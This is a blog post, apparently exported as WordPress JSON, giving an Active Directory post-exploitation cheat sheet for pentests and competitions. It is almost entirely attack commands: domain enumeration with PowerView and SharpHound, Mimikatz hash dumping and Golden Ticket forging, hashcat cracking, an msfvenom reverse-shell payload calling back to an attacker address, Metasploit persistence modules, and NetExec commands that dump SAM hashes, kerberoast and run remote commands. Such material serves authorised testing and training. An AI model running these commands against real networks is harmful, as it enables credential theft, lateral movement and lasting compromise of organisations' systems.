{"id":2632,"date":"2021-12-31T19:46:37","date_gmt":"2021-12-31T19:46:37","guid":{"rendered":"https:\/\/dft.wiki\/?p=2632"},"modified":"2024-03-22T16:19:17","modified_gmt":"2024-03-22T20:19:17","slug":"active-directory-post-exploitation-cheat-sheet","status":"publish","type":"post","link":"https:\/\/dft.wiki\/?p=2632","title":{"rendered":"Active Directory Post-Exploitation Cheat Sheet"},"content":{"rendered":"<p>After getting the foot in the door in a pentesting scenario or competition it is time for gathering more data and credentials and creating persistence:<\/p>\n<ul>\n<li><strong>PowerView<\/strong> &#8211; Enumerating the domain.<\/li>\n<li><strong>SharpHound<\/strong> &#8211; Hammering that DC to extract all available data.<\/li>\n<li><strong>BloodHound<\/strong> &#8211; Analysing the extracted data from the domain.<\/li>\n<li><strong>Mimikatz<\/strong> &#8211; Dumping hashes.\n<ul>\n<li><strong>Hashcat<\/strong> &#8211; Cracking the dumped hashes.<\/li>\n<li><strong>Golden<\/strong> <strong>Ticket<\/strong> &#8211; Getting access to other machines.<\/li>\n<\/ul>\n<\/li>\n<li><strong>Msfvenom<\/strong> &#8211; Crafting a payload.<\/li>\n<li><strong>Metasploit<\/strong> &#8211; Getting the reverse shell and creating persistence.<\/li>\n<li><strong>NetExec<\/strong> &#8211; Exploration and exploitation framework.<\/li>\n<\/ul>\n<hr \/>\n<p><strong>Enumerating the domain<\/strong> with the PowerShell script PowerView &#8211; Full command list available at [<a href=\"https:\/\/gist.github.com\/HarmJ0y\/184f9822b195c52dd50c379ed3117993\">Link<\/a>]:<\/p>\n<pre>cmd\r\npowershell -ep bypass\r\n. .\\PATH\\PowerView.ps1<\/pre>\n<p>Enumerate <strong>Domain Users<\/strong><\/p>\n<pre>Get-NetUser | select cn<\/pre>\n<p>Enumerate <strong>Computers<\/strong><\/p>\n<pre>Get-NetComputer -fulldata | select operatingsystem<\/pre>\n<p>Enumerate <strong>Groups<\/strong><\/p>\n<pre>Get-NetGroup -GroupName *admin*<\/pre>\n<p>Enumerate <strong>Shares<\/strong><\/p>\n<pre>Invoke-ShareFinder<\/pre>\n<hr \/>\n<p><strong>Extract the loot<\/strong> from any computer joined to the domain <strong>with SharpHound<\/strong> script:<\/p>\n<pre>powershell -ep bypass\r\n. .\\PATH\\SharpHound.ps1\r\nInvoke-Bloodhound -CollectionMethod All -Domain DOMAIN.local -ZipFileName loot.zip<\/pre>\n<p>Copy the file over to the attacker&#8217;s machine.<\/p>\n<hr \/>\n<p><strong>Explore the domain<\/strong> with <strong>BloodHound Community Edition<\/strong> [<a href=\"https:\/\/github.com\/SpecterOps\/BloodHound\">Link<\/a>].<\/p>\n<p>Installing the tool on the attacker machine:<\/p>\n<pre>sudo apt update &amp;&amp; sudo apt install docker.io docker-compose -y\r\ncurl -L https:\/\/ghst.ly\/getbhce | sudo docker compose -f - up\r\nsudo docker-compose logs bloodhound | grep 'Password'<\/pre>\n<p>Navigate to <strong>http:\/\/localhost:8080\/<\/strong> and log in with the acquired password for the user Admin (change it!)<\/p>\n<p>Search for import\/ingest and provide <strong>.zip<\/strong> or the extracted <strong>.json<\/strong> files.<\/p>\n<p>After some time the data will be ready for queries in the <strong>Explore<\/strong> tab.<\/p>\n<hr \/>\n<p><strong>Dumping hashes<\/strong> with <strong>Mimikatz<\/strong>:<\/p>\n<pre>mimikatz.exe\r\nprivilege::debug\r\nlsadump::lsa \/patch<\/pre>\n<p><strong>Chacking<\/strong> the dumped <strong>hashes<\/strong> with HashCat:<\/p>\n<pre>hashcat -m 1000 hashes.lst \/usr\/share\/wordlists\/rockyou.txt<\/pre>\n<p><strong>Creating a Golden Ticket<\/strong> with Mimikatz:<\/p>\n<pre>lsadump::lsa \/inject \/name:userName\r\nkerberos::golden \/user:administrator \/domain:<strong>domain.local<\/strong> \/sid:<strong>S-3-5-41-845420856-2351964987-986696098<\/strong> \/<strong>userName<\/strong>:<strong>5508500012cc005cf7082a9a89ebdfdf<\/strong> \/id:500\r\nmisc::cmd<\/pre>\n<p><strong>Getting access<\/strong> to other machines with the Golden Ticket on the newly open window:<\/p>\n<pre>dir \\\\<strong>ComputerA<\/strong>\\<strong>c$<\/strong><\/pre>\n<hr \/>\n<p><strong>CREATING PERSISTENCE<\/strong><\/p>\n<p>Crafting a <strong>payload<\/strong> with <strong>Msfvenom<\/strong>:<\/p>\n<pre>msfvenom -p windows\/meterpreter\/reverse_tcp LHOST=<strong>10.10.10.99<\/strong> LPORT=<strong>4444<\/strong> -f exe -o shell.exe<\/pre>\n<p>On the attacker side start a<strong> listener with Metasploit<\/strong> &#8211; Module Library available at [<a href=\"https:\/\/www.infosecmatter.com\/metasploit-module-library\/\">Link<\/a>]:<\/p>\n<pre>use exploit\/multi\/handler\r\nset payload windows\/meterpreter\/reverse_tcp\r\nrun\r\nbackground<\/pre>\n<p><strong>Applying persistence<\/strong> to the granted session with <strong>Persistent Registry Startup Payload Installer<\/strong>:<\/p>\n<pre>use exploit\/windows\/local\/persistence\r\nsessions\r\nset session 1<\/pre>\n<p>See also <strong>exploit\/windows\/local\/persistence_service<\/strong> for <strong>Persistent Service Installer<\/strong>.<\/p>\n<hr \/>\n<p><strong>EXPLORING NETWORK WITH NETEXEC<\/strong><\/p>\n<p><strong>NetExec<\/strong> is a network service exploitation tool used for pentesters [<a href=\"https:\/\/www.netexec.wiki\/\">Link<\/a>].<\/p>\n<pre>sudo apt install pipx git\r\npipx ensurepath\r\npipx install git+https:\/\/github.com\/Pennyw0rth\/NetExec<\/pre>\n<p>Basic commands:<\/p>\n<pre>nxc smb 10.0.0.0\/24\r\nnxc smb 10.0.0.0\/24 -u '' -p '' --users\r\nnxc smb 10.0.0.0\/24 -u 'guest' -p '' --users\r\nnxc smb 10.0.0.0\/24 -u 'guest' -p '' --shares\r\nnxc smb 10.0.0.10 -u 'user' -p 'pass' --sam\r\nnxc smb 10.0.0.10 -u 'user' -p 'pass' --loggedon-users\r\nnxc smb 10.0.0.10 -u 'user' -p 'pass' -M schtask_as -o USER=Administrator\r\nnxc smb 10.0.0.10 -u 'user' -p 'pass' -M spider_plus -o DOWNLOAD_FLAG=True\r\nnxc mssql 10.0.0.10 -u user' -p 'pass'\r\nnxc ldap 10.0.0.10 -u 'user' -p 'pass' --bloodhound --collection All\r\nnxc ldap 10.0.0.10 -u 'user' -p 'pass' --kerberoast file.txt\r\nnxc winrm 10.0.0.10 -u 'user' -p 'pass' -X 'whomai'<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>After getting the foot in the door in a pentesting scenario or competition it is [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"class_list":["post-2632","post","type-post","status-publish","format-standard","hentry","category-hacking"],"_links":{"self":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts\/2632","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2632"}],"version-history":[{"count":4,"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts\/2632\/revisions"}],"predecessor-version":[{"id":3960,"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts\/2632\/revisions\/3960"}],"wp:attachment":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2632"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2632"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2632"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}